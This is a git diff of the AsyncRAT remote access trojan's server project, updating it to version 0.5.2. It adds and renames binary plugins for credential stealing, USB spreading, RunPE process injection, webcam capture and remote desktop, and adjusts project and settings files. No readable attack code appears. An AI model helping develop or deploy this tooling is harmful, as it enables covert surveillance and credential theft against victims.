PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\webcam.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\PluginDesktop.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\PluginRecovery.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\PluginRunPE.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\PluginUsbSpread.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Resources/AsyncRAT-Sharp.exe.config b/AsyncRAT-C#/Server/Resources/AsyncRAT-Sharp.exe.config deleted file mode 100644 index ab58faf..0000000 --- a/AsyncRAT-C#/Server/Resources/AsyncRAT-Sharp.exe.config +++ /dev/null @@ -1,60 +0,0 @@ - - - - -
- - - - - - - - - - - - - - - True - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0.0.0.0 - - - 0.0.0.0 - - - - - - - diff --git a/AsyncRAT-C#/Server/Resources/Costura.xml b/AsyncRAT-C#/Server/Resources/Costura.xml deleted file mode 100644 index 7e9ca15..0000000 --- a/AsyncRAT-C#/Server/Resources/Costura.xml +++ /dev/null @@ -1,18 +0,0 @@ - - - - Costura - - - - - Contains methods for interacting with the Costura system. - - - - - Call this to Initialize the Costura system. - - - - diff --git a/AsyncRAT-C#/Server/Resources/IconLib.dll b/AsyncRAT-C#/Server/Resources/IconLib.dll deleted file mode 100644 index c58d15f..0000000 Binary files a/AsyncRAT-C#/Server/Resources/IconLib.dll and /dev/null differ diff --git a/AsyncRAT-C#/Server/Resources/Plugin.dll b/AsyncRAT-C#/Server/Resources/Plugin.dll deleted file mode 100644 index e941c48..0000000 Binary files a/AsyncRAT-C#/Server/Resources/Plugin.dll and /dev/null differ diff --git a/AsyncRAT-C#/Server/Resources/PluginCam.dll b/AsyncRAT-C#/Server/Resources/PluginCam.dll new file mode 100644 index 0000000..e63a310 Binary files /dev/null and b/AsyncRAT-C#/Server/Resources/PluginCam.dll differ diff --git a/AsyncRAT-C#/Server/Resources/PluginDesktop.dll b/AsyncRAT-C#/Server/Resources/PluginDesktop.dll new file mode 100644 index 0000000..3273467 Binary files /dev/null and b/AsyncRAT-C#/Server/Resources/PluginDesktop.dll differ diff --git a/AsyncRAT-C#/Server/Resources/StealerLib.dll b/AsyncRAT-C#/Server/Resources/PluginRecovery.dll similarity index 92% rename from AsyncRAT-C#/Server/Resources/StealerLib.dll rename to AsyncRAT-C#/Server/Resources/PluginRecovery.dll index 77f9adb..20d5bdf 100644 Binary files a/AsyncRAT-C#/Server/Resources/StealerLib.dll and b/AsyncRAT-C#/Server/Resources/PluginRecovery.dll differ diff --git a/AsyncRAT-C#/Server/Resources/PluginRunPE.dll b/AsyncRAT-C#/Server/Resources/PluginRunPE.dll new file mode 100644 index 0000000..47dd85e Binary files /dev/null and b/AsyncRAT-C#/Server/Resources/PluginRunPE.dll differ diff --git a/AsyncRAT-C#/Server/Resources/HandleLimeUSB.dll b/AsyncRAT-C#/Server/Resources/PluginUsbSpread.dll similarity index 79% rename from AsyncRAT-C#/Server/Resources/HandleLimeUSB.dll rename to AsyncRAT-C#/Server/Resources/PluginUsbSpread.dll index 93405d8..56b9df0 100644 Binary files a/AsyncRAT-C#/Server/Resources/HandleLimeUSB.dll and b/AsyncRAT-C#/Server/Resources/PluginUsbSpread.dll differ diff --git a/AsyncRAT-C#/Server/Resources/circle-loading-gif.gif b/AsyncRAT-C#/Server/Resources/circle-loading-gif.gif deleted file mode 100644 index b045500..0000000 Binary files a/AsyncRAT-C#/Server/Resources/circle-loading-gif.gif and /dev/null differ diff --git a/AsyncRAT-C#/Server/Resources/webcam.png b/AsyncRAT-C#/Server/Resources/webcam.png new file mode 100644 index 0000000..a870182 Binary files /dev/null and b/AsyncRAT-C#/Server/Resources/webcam.png differ diff --git a/AsyncRAT-C#/Server/Server.csproj b/AsyncRAT-C#/Server/Server.csproj index 407482d..80b58bb 100644 --- a/AsyncRAT-C#/Server/Server.csproj +++ b/AsyncRAT-C#/Server/Server.csproj @@ -75,8 +75,8 @@ - - + + Form @@ -173,6 +173,12 @@ FormTorrent.cs + + Form + + + FormWebcam.cs + @@ -184,6 +190,7 @@ + @@ -225,8 +232,8 @@ - - + + @@ -282,6 +289,9 @@ FormTorrent.cs + + FormWebcam.cs + ResXFileCodeGenerator Designer @@ -307,9 +317,14 @@ + + + + + + - @@ -320,7 +335,6 @@ - @@ -328,7 +342,6 @@ - @@ -336,7 +349,6 @@ - @@ -349,8 +361,6 @@ - - diff --git a/AsyncRAT-C#/Server/Settings.cs b/AsyncRAT-C#/Server/Settings.cs index cebca7a..f10b06e 100644 --- a/AsyncRAT-C#/Server/Settings.cs +++ b/AsyncRAT-C#/Server/Settings.cs @@ -1,5 +1,5 @@ -using Server.Cryptography; -using Server.Sockets; +using Server.Algorithm; +using Server.Connection; using System.Collections.Generic; using System.IO; using System.Security.Cryptography.X509Certificates; @@ -16,7 +16,7 @@ namespace Server public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12"; public static X509Certificate2 ServerCertificate; - public static readonly string Version = "AsyncRAT 0.5.1"; + public static readonly string Version = "AsyncRAT 0.5.2"; public static object Listview1Lock = new object(); public static object Listview2Lock = new object(); public static object Listview3Lock = new object();